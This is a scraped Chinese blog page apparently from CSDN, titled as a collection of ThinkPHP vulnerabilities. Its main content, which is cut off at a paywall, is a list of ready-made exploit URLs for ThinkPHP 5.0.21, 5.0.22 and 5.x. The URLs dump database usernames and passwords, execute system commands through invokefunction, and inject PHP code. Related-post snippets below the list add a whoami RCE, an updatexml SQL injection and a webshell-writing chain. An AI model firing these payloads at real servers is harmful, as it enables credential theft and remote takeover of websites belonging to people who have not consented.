thinkphp漏洞集合

最新推荐文章于 2025-04-21 19:40:26 发布
最新推荐文章于 2025-04-21 19:40:26 发布
阅读量1.5k 收藏 4
点赞数
文章标签： thinkphp漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_39216626/article/details/102625253
版权
本文列举了多个 ThinkPHP 版本的漏洞利用URL，包括 ThinkPHP 5.0.22、5.0.21、5.1.* 以及一些未知版本的漏洞，如 SQL 注入、命令执行等，展示了可能的攻击方式。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

Thinkphp 5.0.22
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Thinkphp 5
http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

Thinkphp 5.0.21
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&fu

最低0.47元/天 解锁文章
Aohanhh
关注
thinkphp5.0.22漏洞利用
qq_52223347的博客
03-10 3885
一、搭建环境 phpstudy的版本大于5.0 解压源码到www下 浏览器访问 127.0.0.1/thinkphp/public/index.php 漏洞利用 ?s=.|think\config/get&name=database.username 查看数据库的用户 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami whoa
ThinkPHP漏洞全集：深度分析与讨论
dghsgzhz12的博客
07-05 1037
在ThinkPHP中，如果开发者没有正确配置文件包含的路径或没有对用户输入的文件路径进行验证和过滤，就可能导致此类漏洞的产生。为了防范文件包含漏洞，开发者需要对所有用户提交的文件路径进行严格的验证和过滤，确保只包含合法的文件路径。攻击者通过在用户输入的数据中注入恶意的SQL语句，绕过系统的验证和过滤机制，实现对数据库的非法访问和操作。通过对ThinkPHP漏洞全集的讨论，我们可以看到，这些漏洞的存在不仅对系统的安全性构成威胁，也暴露出开发者在开发过程中的疏忽和不足之处。一、ThinkPHP漏洞概述。
Thinkphp常见漏洞总结
weixin_46622976的博客
07-12 6928
ThinkPHP漏洞整理
ThinkPHP 系列漏洞
SHELLCODE_8BIT的博客
11-18 4512
所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。1、thinkphp5 SQL注入1漏洞影响版本： 5.0.13
ThinkPHP5 的 SQL 注入漏洞
最新发布
sucker的博客
04-21 765
也就是：$_GET['ids'] 是一个数组，key 为 '0,updatexml(0,concat(0xa,user()),0)'这是一个报错注入语句，updatexml() 是 MySQL 中常见的报错函数，用于将数据输出到错误信息中。攻击者可利用漏洞构造恶意 SQL 语句，绕过预编译机制，直接操作数据库，导致数据泄露、篡改甚至服务器沦陷。时，预编译过程会直接解析 SQL 语句中的动态内容，导致攻击者可通过报错注入（如。）是 ThinkPHP5 框架中一系列因设计缺陷导致的安全问题，主要影响早期版本。
ThinkPHP漏洞合集（专注渗透视角）
热门推荐
LainWith的博客
04-11 1万+
服务框架是指某领域一类服务的可复用设计与不完整的实现，与软件框架不同的是，服务框架同时体现着面向服务，一个服务框架可以分为两个主要部分：服务引擎、引入的外部服务。ThinkPHP，是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据，渐渐成为单位公共安全中最具有战略性的资产，框架的安全稳定运行也直接决定着业务系统能否正常使用。
ThinkPHP漏洞详解（自学）
m0_64481831的博客
03-01 4127
Thinkphp是一个快速、兼容而且简单的轻量级PHP开发框架。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。Thinkphp发展至今，主要有2.x、3.x、5.x、6.x系列，其中2.x和3.x系列官方已停止维护，5.x系列是目前使用最多的一个系列，而3.x系列比较多的老用户。
ThinkPHP漏洞合集（专注渗透视角）_thinkphp v6
gan_zi_ge的博客
09-08 3163
*漏洞原理：**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中，由于框架错误地处理了控制器名称，因此如果网站未启用强制路由（默认设置），则该框架可以执行任何方法，从而导致RCE漏洞。docker ps**漏洞原理：**ThinkPHP是在中国使用极为广泛的PHP开发框架。
thinkphp漏洞复现
zzf011900的博客
04-02 1600
thinkphp 远程命令执行漏洞php的一个开发框架，5.0.23及以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用request类任意方法，构造payload，导致远程命令执行。浏览器访问:http://192.168.59.10:8080/index.php?Rce 恶意构迷的语句在服务器(系统)上执行，从而达到黑客控制服务器的目的。浏览器访问:http://192.168.59.10:8080/函数:一串按照顺序和一定逻辑执行的代码。MSF实现直接获取权限原理。
【小迪渗透吧】ThinkphpGUI - 一款Thinkphp框架漏洞扫描集合工具,一键getshell。
xiaodi8的博客
12-26 894
【小迪渗透吧】ThinkphpGUI - 一款Thinkphp框架漏洞扫描集合工具,一键getshell。
ThinkPHP5漏洞分析之SQL注入(七)
Jeromeyoung
01-06 2106
返回到了$instance变量中，这时控制器这块已经基本上处理完了，think\App实际上就是thinkphp\library\think\App.php这个php文件里的App类（在MVC架构中，某些类也是可以叫做控制器），think是一个命名空间。命名空间的概念百度一下就知道了。相信很多人在不懂原理的情况下，看这一串payload是感觉很nb的一个paylaod（因为它长，需要的参数多），像我本人之前就纳闷这payload中为啥还会有反斜杠，s参数名是啥？接下来就是获取方法，调用反射执行类的方法。
学习笔记-ThinkPHP总结
人饭子的博客
11-09 837
介绍：这是一篇tp的漏洞总结，以及一些自己遇到过或思考过的tricks， 查找漏洞建议直接页面搜索版本号，例如这些关键字：5.1、5.0、3.2 问题：如何判断TP版本？ 黑盒 构造请求错误，如果目标错误管理不规范就可能显示tp版本信息 请求App/Runtime/Logs/Home/22_05_12.log当天日志(tp3) 请求runtime/log/202205/12.log当天...
Thinkphp漏洞总结
qq_44640313的博客
11-02 852
ThinkPHP框架漏洞知识总结
（JAVA）02——面向对象编程（上）
Lemon_CHA的博客
11-07 602
面向对象编程（OOP） OOP——Object Oriented Programming OOA——Object Oriented Analysis OOD——Object Oriented Design 一、寻找（需求分析）：实体 从生活中找到一个具体的对象，该对象有什么样的属性，以及该对象有什么功能。 ———————————————————————————————————————— 二、语法规则： 将具体的对象构建成一个类，比如根据X员工可以创建成一个员工类，类中有员工共有的属性，功能等。 创建
php构造payload,Thinkphp远程代码执行 payload汇总
weixin_39837867的博客
03-25 1337
Thinkphp 5.0.22http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.usernamehttp://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.passwordhttp://url/to/think...
攻防世界web刷题记录2
m0_73239569的博客
04-21 1071
通过ping命令，用户可以判断两台计算机之间的网络连接是否正常，如果计算机之间的网络连接正常，它们应该能够在规定的时间内收到和回复对方的数据包；反序列化又叫对象注入，序列化在内部没有漏洞，漏洞产生是应该程序在处理对象、魔术函数以及序列化 相关的问题导致的 当传给 unserialize()的参数可控时，那么用户就可以注入 payload,进行反序列化的时 候就可能触发对象中的一些魔术方法。FILE(S) 是要列出的文件或目录的名称，也可以是通配符表达式，用于匹配符合特定模式的所有文件和目录。
ThinkPHP 系列漏洞_thinkphp漏洞，2024年最新2024年网络安全社招面试题
04-15 1348
attr) : null //进行判断时，需要通过toArray()将getAttr($attr)进行数据类型转换，Output类中不存在toArray()方法，触发 think\console\Output::__call()调用不存在的方法。File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell。s=index/\think\Config/load&file=…// 将 webshell 写入缓存文件。
Thinkphp常见漏洞利用
未完成的歌~的博客
04-14 4315
ThinkPHP是一个开源，快速、简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP。使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。
thinkphp靶场
01-09
### ThinkPHP 安全测试靶场与漏洞练习环境 为了有效学习和研究ThinkPHP的安全特性以及常见的安全漏洞，可以利用一些专门设计用于教育目的的Web应用安全测试平台。这些平台通常包含了各种已知的安全漏洞以便于研究人员进行合法的研究。 #### 利用Pikachu作为ThinkPHP漏洞练习环境 一个推荐的选择是使用名为Pikachu的项目[^2]。该项目是一个基于PHP开发的Web应用程序集合，旨在提供给白帽黑客们一个真实的渗透测试环境来实践技能。尽管 Pikachu 主要关注多个不同类型的 Web 应用程序中的常见缺陷，它也涵盖了ThinkPHP框架下的特定问题。通过部署此工具，在受控环境中探索并理解如何发现和修复潜在风险成为可能。 对于那些希望专注于ThinkPHP版本特有的攻击向量的人而言，可以从源码中找到针对该框架定制化的挑战案例。这有助于深入理解诸如远程代码执行这样的严重漏洞是如何发生的，并且能够帮助开发者学会编写更安全的应用逻辑以防止此类威胁的发生。 #### 部署与配置建议 当设置这样一个实验性质的学习空间时，重要的是确保所有活动都在隔离网络内部完成，避免任何意外的数据泄露或非法入侵行为影响到真实世界的服务。例如，在一个多层内网环境下搭建类似的靶场练习是非常合适的方案之一[^4]。这里提到的方法涉及到了创建具有内外部接口区别的虚拟化架构，其中外部接口模拟互联网连接而内部则代表企业局域网部分；这样做的好处是可以更加贴近实际场景来进行攻防演练而不必担心造成损害。 另外值得注意的一点是在准备过程中应当考虑到所使用的具体软件组合及其兼容性情况。比如如果选用PHPStudy作为本地服务器解决方案，则需要注意其启动方式和其他必要的初始化操作[^5]。正确安装之后就可以开始尝试解决平台上提供的各类题目了。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值